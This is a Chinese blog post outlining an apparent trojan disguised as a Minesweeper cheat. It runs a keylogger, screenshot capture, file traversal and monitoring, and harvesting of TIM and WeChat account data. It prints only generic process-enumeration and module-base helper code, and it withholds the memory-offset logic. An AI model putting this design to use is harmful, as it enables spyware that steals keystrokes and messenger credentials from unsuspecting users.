先说一哈 其实这个 恶意程序 大部分都是参考了 网上的资料 也就是说====
我这里代码都是 网上能找到的 出现了好长时间的代码 没有什么创新性===
so 还请大佬们绕道了==
先说一下程序的大概情况===
其实 程序外表就是一个扫雷的辅助工具==
具体的原理可以参考
https://blog.csdn.net/qq_41071646/article/details/84920382
然后在程序初始化的时候 开启了四个线程
其中 有个主线程是 辅助还有键盘记录器
键盘记录器是一个很久的东西了 简单来说 有两个方法
钩子 或者 就是 创建设备
这里参考了 《Windows黑客编程技术详解》 里面的代码
(这本书 刚出我就买了 == 当时还没有人说是一本圈钱书===== 算是我买的书里面最。。。。。可惜的)
然后在消息机制里面 调用 函数
然后 继续说一下四个线程都干了什么
其中一个是 进行截图 其实这个没有啥用 算是我乱凑的===
主要的实现代码
然后 有个是遍历文件夹
然后就可以输出到文件==
文件监控
然后获取本机TIM 和WX的信息
其中有三个函数 ==
wchar_t * UTF8ToUnicode(const char* str)
{
int textlen = 0;
wchar_t * result;
textlen = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
result = (wchar_t *)malloc((textlen + 1) * sizeof(wchar_t));
memset(result, 0, (textlen + 1) * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, str, -1, (LPWSTR)result, textlen);
return result;
}
DWORD process_get_module_base_address(DWORD process_id, TCHAR* dll_name)
{
HANDLE hSnap; // Process snapshot handle.
MODULEENTRY32 xModule; // Module information structure.
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, process_id); // Creates a module
if (hSnap == INVALID_HANDLE_VALUE) {
return 0;
}
// snapshot of the
// game process.
xModule.dwSize = sizeof(MODULEENTRY32); // Needed for Module32First/Next to work.
int count = 0;
if (Module32First(hSnap, &xModule)) // Gets the first module.
{
do {
if (lstrcmp(xModule.szModule, dll_name) == 0) // If this is the module we want...
{
//printf("%s %s\n", xModule.szModule,dll_name);
//printf("%x\n", xModule.modBaseAddr);
return (DWORD)xModule.modBaseAddr; // return the base address.
}
count++;
} while (Module32Next(hSnap, &xModule)); // Loops through the rest of the modules.
}
CloseHandle(hSnap); // Free the handle.
return 0; // If the result of the function is 0, it didn't find the base address.
}
DWORD GetProcessIDByName(LPCTSTR szProcessName)
{
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
DWORD dwPID;
ZeroMemory(&st, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
st.cb = sizeof(STARTUPINFO);
ZeroMemory(&ps, sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
// 遍历进程
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
if (!Process32First(hSnapshot, &ps))
{
return 0;
}
do
{
// 比较进程名
if (lstrcmpi(ps.szExeFile, szProcessName) == 0)
{
// 找到了
dwPID = ps.th32ProcessID;
CloseHandle(hSnapshot);
return dwPID;
}
} while (Process32Next(hSnapshot, &ps));
// 没有找到
CloseHandle(hSnapshot);
return 0;
}
这里的偏移 需要自己找 版本不一样=== 偏移也不会一样- 用CE直接搜就可以===
这里的代码就不放出来了==== 大部分都借鉴了别人的代码 而且百度也能搜得到===
感觉东西很浅显==== 根本就做不了事情 == 估计恶意都称不上====
这都是 烂到大街上的代码 === 感觉还是有必要声明一哈
此博客只做技术交流而作 若用作其它用途 与本人无关----
参考资料
《Windows黑客编程技术详解》